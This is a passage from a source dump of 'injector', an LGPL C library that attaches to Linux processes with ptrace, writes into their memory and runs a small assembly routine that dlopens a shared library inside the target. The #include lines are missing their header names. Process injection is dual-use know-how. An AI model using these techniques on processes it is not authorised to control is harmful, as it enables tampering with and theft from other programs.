18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
19 | * Lesser General Public License for more details.
20 | *
21 | * You should have received a copy of the GNU Lesser General Public
22 | * License along with this library; if not, write to the Free Software
23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
24 | */
25 | #ifndef INJECTOR_INTERNAL_H
26 | #define INJECTOR_INTERNAL_H 1
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include "injector.h"
35 |
36 | #ifdef __LP64__
37 | #define SIZE_T_FMT "l"
38 | #else
39 | #define SIZE_T_FMT ""
40 | #endif
41 |
42 | #ifdef __arm__
43 | #define user_regs_struct user_regs
44 | #endif
45 |
46 | #ifdef __mips__
47 | #include
48 | #define user_regs_struct pt_regs
49 | #endif
50 |
51 | #ifdef __powerpc__
52 | #include
53 | #define user_regs_struct pt_regs
54 | #endif
55 |
56 | #ifdef __riscv
57 | #include
58 | #endif
59 |
60 | #define PTRACE_OR_RETURN(request, injector, addr, data) do { \
61 | int rv = injector__ptrace(request, injector->pid, addr, data, #request); \
62 | if (rv != 0) { \
63 | return rv; \
64 | } \
65 | } while (0)
66 |
67 | typedef enum {
68 | /* use dlopen/dlsym/dlclose (glibc 2.34 or later) */
69 | DLFUNC_POSIX,
70 | /* use __libc_dlopen_mode/__libc_dlsym/__libc_dlclose" (glibc 2.33 or earlier) */
71 | DLFUNC_INTERNAL,
72 | } dlfunc_type_t;
73 |
74 | typedef enum {
75 | LIBC_TYPE_UNKNOWN = 0,
76 | LIBC_TYPE_GNU,
77 | LIBC_TYPE_MUSL,
78 | } libc_type_t;
79 |
80 | typedef enum {
81 | ARCH_X86_64,
82 | ARCH_X86_64_X32,
83 | ARCH_I386,
84 | ARCH_ARM64,
85 | ARCH_ARM_EABI_THUMB,
86 | ARCH_ARM_EABI,
87 | ARCH_MIPS_64,
88 | ARCH_MIPS_N32,
89 | ARCH_MIPS_O32,
90 | ARCH_POWERPC_64,
91 | ARCH_POWERPC,
92 | ARCH_RISCV_64,
93 | ARCH_RISCV_32,
94 | } arch_t;
95 |
96 | typedef union {
97 | #if defined(__x86_64__) || defined(__i386__)
98 | uint8_t u8[sizeof(long)];
99 | #elif defined(__aarch64__) || defined(__arm__)
100 | uint16_t u16[4];
101 | uint32_t u32[2];
102 | #elif defined(__mips__)
103 | uint32_t u32[4];
104 | #elif defined(__powerpc__)
105 | uint32_t u32[2];
106 | #elif defined(__riscv)
107 | uint32_t u32[2];
108 | #endif
109 | long dummy;
110 | } code_t;
111 |
112 | struct injector {
113 | pid_t pid;
114 | uint8_t attached;
115 | uint8_t mmapped;
116 | arch_t arch;
117 | libc_type_t libc_type;
118 | struct user_regs_struct regs;
119 | dlfunc_type_t dlfunc_type;
120 | size_t dlopen_addr;
121 | size_t dlclose_addr;
122 | size_t dlsym_addr;
123 | size_t dlerror_addr;
124 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
125 | size_t clone_addr;
126 | #endif
127 | size_t code_addr; /* address where instructions are written */
128 | code_t backup_code;
129 | long sys_mmap;
130 | long sys_mprotect;
131 | long sys_munmap;
132 |
133 | /* memory layout allocated in the target process
134 | *
135 | * high +----------------------+
136 | * | stack area |
137 | * | size: 2MB |
138 | * |----------------------|
139 | * | inaccessible area |
140 | * | size: 4096 |
141 | * |----------------------|
142 | * | data area |
143 | * | size: 4096 |
144 | * low +----------------------+
145 | */
146 | size_t data; /* read-write region */
147 | size_t data_size; /* page size */
148 | size_t stack; /* stack area */
149 | size_t stack_size; /* 2MB */
150 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
151 | size_t shellcode;
152 | #endif
153 | };
154 |
155 | /* elf.c */
156 | int injector__collect_libc_information(injector_t *injector);
157 |
158 | /* ptrace.c */
159 | int injector__ptrace(int request, pid_t pid, long addr, long data, const char *request_name);
160 | int injector__attach_process(const injector_t *injector);
161 | int injector__detach_process(const injector_t *injector);
162 | int injector__get_regs(const injector_t *injector, struct user_regs_struct *regs);
163 | int injector__set_regs(const injector_t *injector, const struct user_regs_struct *regs);
164 | int injector__read(const injector_t *injector, size_t addr, void *buf, size_t len);
165 | int injector__write(const injector_t *injector, size_t addr, const void *buf, size_t len);
166 | int injector__continue(const injector_t *injector);
167 |
168 | /* remote_call.c - call functions and syscalls in the target process */
169 | int injector__call_syscall(const injector_t *injector, intptr_t *retval, long syscall_number, ...);
170 | int injector__call_function(const injector_t *injector, intptr_t *retval, long function_addr, ...);
171 | int injector__call_function_va_list(const injector_t *injector, intptr_t *retval, long function_addr, va_list ap);
172 |
173 | /* util.c */
174 | extern char injector__errmsg[];
175 | extern char injector__errmsg_is_set;
176 | void injector__set_errmsg(const char *format, ...) __attribute__((format (printf, 1, 2)));
177 | const char *injector__arch2name(arch_t arch);
178 |
179 | /* shellcode.S */
180 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
181 | typedef struct {
182 | void *handle;
183 | size_t dlopen_addr;
184 | size_t dlerror_addr;
185 | int dlflags;
186 | char file_path[0]; // dummy size.
187 | } injector_shellcode_arg_t;
188 |
189 | void *injector_shellcode(injector_shellcode_arg_t *arg);
190 | extern int injector_shellcode_size;
191 | #endif
192 |
193 | #endif
194 |
--------------------------------------------------------------------------------
/injector/src/linux/ptrace.c:
--------------------------------------------------------------------------------
1 | /* -*- indent-tabs-mode: nil -*-
2 | *
3 | * injector - Library for injecting a shared library into a Linux process
4 | *
5 | * URL: https://github.com/kubo/injector
6 | *
7 | * ------------------------------------------------------
8 | *
9 | * Copyright (C) 2018 Kubo Takehiro
10 | *
11 | * This library is free software; you can redistribute it and/or
12 | * modify it under the terms of the GNU Lesser General Public
13 | * License as published by the Free Software Foundation; either
14 | * version 2.1 of the License, or (at your option) any later version.
15 | *
16 | * This library is distributed in the hope that it will be useful,
17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
19 | * Lesser General Public License for more details.
20 | *
21 | * You should have received a copy of the GNU Lesser General Public
22 | * License along with this library; if not, write to the Free Software
23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
24 | */
25 | #include "injector_internal.h"
26 |
27 | #if defined(__aarch64__) || defined(__riscv)
28 | #define USE_REGSET
29 | #include /* for NT_PRSTATUS */
30 | #include /* for struct iovec */
31 | #endif
32 |
33 | static int set_ptrace_error(const char *request_name)
34 | {
35 | int err = errno;
36 | injector__set_errmsg("%s error : %s", request_name, strerror(errno));
37 | switch (err) {
38 | case EFAULT:
39 | return INJERR_INVALID_MEMORY_AREA;
40 | case EPERM:
41 | return INJERR_PERMISSION;
42 | case ESRCH:
43 | return INJERR_NO_PROCESS;
44 | }
45 | return INJERR_OTHER;
46 | }
47 |
48 | int injector__ptrace(int request, pid_t pid, long addr, long data, const char *request_name)
49 | {
50 | if (ptrace(request, pid, addr, data) != 0) {
51 | return set_ptrace_error(request_name);
52 | }
53 | return 0;
54 | }
55 |
56 | int injector__attach_process(const injector_t *injector)
57 | {
58 | PTRACE_OR_RETURN(PTRACE_ATTACH, injector, 0, 0);
59 | return 0;
60 | }
61 |
62 | int injector__detach_process(const injector_t *injector)
63 | {
64 | PTRACE_OR_RETURN(PTRACE_DETACH, injector, 0, 0);
65 | return 0;
66 | }
67 |
68 | int injector__get_regs(const injector_t *injector, struct user_regs_struct *regs)
69 | {
70 | #ifdef USE_REGSET
71 | struct iovec iovec = { regs, sizeof(*regs) };
72 | PTRACE_OR_RETURN(PTRACE_GETREGSET, injector, NT_PRSTATUS, (long)&iovec);
73 | #else
74 | PTRACE_OR_RETURN(PTRACE_GETREGS, injector, 0, (long)regs);
75 | #endif
76 | return 0;
77 | }
78 |
79 | int injector__set_regs(const injector_t *injector, const struct user_regs_struct *regs)
80 | {
81 | #ifdef USE_REGSET
82 | struct iovec iovec = { (void*)regs, sizeof(*regs) };
83 | PTRACE_OR_RETURN(PTRACE_SETREGSET, injector, NT_PRSTATUS, (long)&iovec);
84 | #else
85 | PTRACE_OR_RETURN(PTRACE_SETREGS, injector, 0, (long)regs);
86 | #endif
87 | return 0;
88 | }
89 |
90 | int injector__read(const injector_t *injector, size_t addr, void *buf, size_t len)
91 | {
92 | pid_t pid = injector->pid;
93 | long word;
94 | char *dest = (char *)buf;
95 |
96 | errno = 0;
97 | while (len >= sizeof(long)) {
98 | word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0);
99 | if (word == -1 && errno != 0) {
100 | return set_ptrace_error("PTRACE_PEEKTEXT");
101 | }
102 | *(long*)dest = word;
103 | addr += sizeof(long);
104 | dest += sizeof(long);
105 | len -= sizeof(long);
106 | }
107 | if (len != 0) {
108 | char *src = (char *)&word;
109 | word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0);
110 | if (word == -1 && errno != 0) {
111 | return set_ptrace_error("PTRACE_PEEKTEXT");
112 | }
113 | while (len--) {
114 | *(dest++) = *(src++);
115 | }
116 | }
117 | return 0;
118 | }
119 |
120 | int injector__write(const injector_t *injector, size_t addr, const void *buf, size_t len)
121 | {
122 | pid_t pid = injector->pid;
123 | const char *src = (const char *)buf;
124 |
125 | while (len >= sizeof(long)) {
126 | PTRACE_OR_RETURN(PTRACE_POKETEXT, injector, addr, *(long*)src);
127 | addr += sizeof(long);
128 | src += sizeof(long);
129 | len -= sizeof(long);
130 | }
131 | if (len != 0) {
132 | long word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0);
133 | char *dest = (char*)&word;
134 | if (word == -1 && errno != 0) {
135 | return set_ptrace_error("PTRACE_PEEKTEXT");
136 | }
137 | while (len--) {
138 | *(dest++) = *(src++);
139 | }
140 | PTRACE_OR_RETURN(PTRACE_POKETEXT, injector, addr, word);
141 | }
142 | return 0;
143 | }
144 |
145 | int injector__continue(const injector_t *injector)
146 | {
147 | PTRACE_OR_RETURN(PTRACE_CONT, injector, 0, 0);
148 | return 0;
149 | }
150 |
--------------------------------------------------------------------------------
/injector/src/linux/shellcode.S:
--------------------------------------------------------------------------------
1 | #if defined(__x86_64__)
2 | #define handle_offset 0
3 | #define dlopen_addr_offset 8
4 | #define dlerror_addr_offset 16
5 | #define dlflags_offset 24
6 | #define file_path_offset 28
7 | #define page_size 4096
8 | .text
9 | .global injector_shellcode
10 | .hidden injector_shellcode
11 | .type injector_shellcode, @function
12 | // void *injector_shellcode(injector_shellcode_arg_t *arg) {
13 | injector_shellcode:
14 | // // prolog
15 | pushq %rbx
16 | movq %rdi, %rbx
17 | // int dlflags = arg->dlflags;
18 | movl dlflags_offset(%rbx), %esi
19 | // const char *file_path = arg->file_path;
20 | leaq file_path_offset(%rbx), %rdi
21 | // void *handle = dlopen(file_path, dlflags);
22 | call *dlopen_addr_offset(%rbx)
23 | // arg->handle = handle;
24 | movq %rax, handle_offset(%rbx)
25 | // arg->file_path[0] = '\0';
26 | movb $0, file_path_offset(%rbx)
27 | // if (handle != NULL) return;
28 | test %rax, %rax
29 | jnz .exit
30 | // if (arg->dlerror_addr == 0) return;
31 | cmpq $0, dlerror_addr_offset(%rbx)
32 | je .exit
33 | // char *errmsg = dlerror();
34 | call *dlerror_addr_offset(%rbx)
35 | // if (errmsg == NULL) return;
36 | test %rax, %rax
37 | jz .exit
38 | // char *dest = arg->file_path
39 | leaq file_path_offset(%rbx), %rdi
40 | // char *end = (char*)arg + page_size;
41 | leaq page_size(%rbx), %rcx
42 | .loop:
43 | // char c = *(errmsg++);
44 | movb (%rax), %dl
45 | addq $1, %rax
46 | // *(dest++) = c;
47 | movb %dl, (%rdi)
48 | addq $1, %rdi
49 | // if (c == 0) return;
50 | testb %dl, %dl
51 | jz .exit
52 | // if (dest < end) goto loop;
53 | cmpq %rdi, %rcx
54 | ja .loop
55 | .exit:
56 | // // epilog
57 | popq %rbx
58 | ret
59 | // }
60 | .size injector_shellcode, . - injector_shellcode
61 |
62 | .balign 4
63 | .global injector_shellcode_size
64 | .hidden injector_shellcode_size
65 | .type injector_shellcode_size, @object
66 | .size injector_shellcode_size, 4
67 | injector_shellcode_size:
68 | // distance from injector_shellcode to current.
69 | .int . - injector_shellcode
70 | #endif
71 |
--------------------------------------------------------------------------------
/injector/src/linux/util.c:
--------------------------------------------------------------------------------
1 | /* -*- indent-tabs-mode: nil -*-
2 | *
3 | * injector - Library for injecting a shared library into a Linux process
4 | *
5 | * URL: https://github.com/kubo/injector
6 | *
7 | * ------------------------------------------------------
8 | *
9 | * Copyright (C) 2018 Kubo Takehiro
10 | *
11 | * This library is free software; you can redistribute it and/or
12 | * modify it under the terms of the GNU Lesser General Public
13 | * License as published by the Free Software Foundation; either
14 | * version 2.1 of the License, or (at your option) any later version.
15 | *
16 | * This library is distributed in the hope that it will be useful,
17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
19 | * Lesser General Public License for more details.
20 | *
21 | * You should have received a copy of the GNU Lesser General Public
22 | * License along with this library; if not, write to the Free Software
23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
24 | */
25 | #include
26 | #include